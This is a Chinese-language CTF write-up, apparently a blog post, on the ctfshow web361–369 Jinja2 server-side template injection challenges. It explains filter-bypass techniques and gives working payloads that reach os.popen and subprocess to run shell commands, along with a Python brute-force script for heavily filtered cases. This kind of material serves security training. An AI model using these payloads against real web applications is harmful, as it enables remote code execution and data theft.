0
点赞
收藏
分享

微信扫一扫

深圳Uniop触摸屏维修ETOP06-0050工业电脑人机界面显示屏维修

c一段旅程c 04-10 12:30 阅读 2

前言

模板引擎

SSTI

简单来说造成ssti的原因就是

  1. 模板参数用户可控
  2. 参数过滤不严谨

怎么测试是什么模板

 

这里有大部分的测试模板的方法

绕过方法

  1. 大多数的过滤绕过都可以使用get请求request.args.a或者request.values.a来传输参数
    例如:
    ?name=request.values.a&a=cat /flag
  2. 过滤了下划线这些的话可以使用attr和get请求结合起来绕过
    例如:
    ?name=a.__b__
    可以改为
    ?name=(a | attr(request.args.a))&a=__b__
  3. 如果过滤的比较严谨,可以尝试使用类似于盲注的形式,后面有解释
  4. 可以使用{%%}绕过{{}},有些另类的过滤方法比如,他去过滤{{}}这个里面的参数,{%%}而这个里面的参数却不去过滤直接给无视了,第368题就是典型的例子

web361

手工

这一题的控制点是name

首先需要知道他是那种框架

可以用工具跑也可以手注,建议先手注再跑工具

这里明显就是jinja2或者twig

jinjia2官方poc

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

使用的时候需要url编码后再拿去传输

成功执行命令

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("ls /").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %} 

工具(sstimap)

直接测试,getshell

跑出来是jinja2框架,拿到shell

web362

这一题过滤了一些数字的使用但是官方的poc可以使用

工具的话执行不了

web363

?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364

?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web365

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

web366

payload:

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

这一题让我有了个不成熟的想法,前面的过滤是否都是过滤的{{}}这个里面的东西是否使用{%%}就能全部绕过了,尝试以后似乎不太行

web369

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])
举报

相关推荐

0 条评论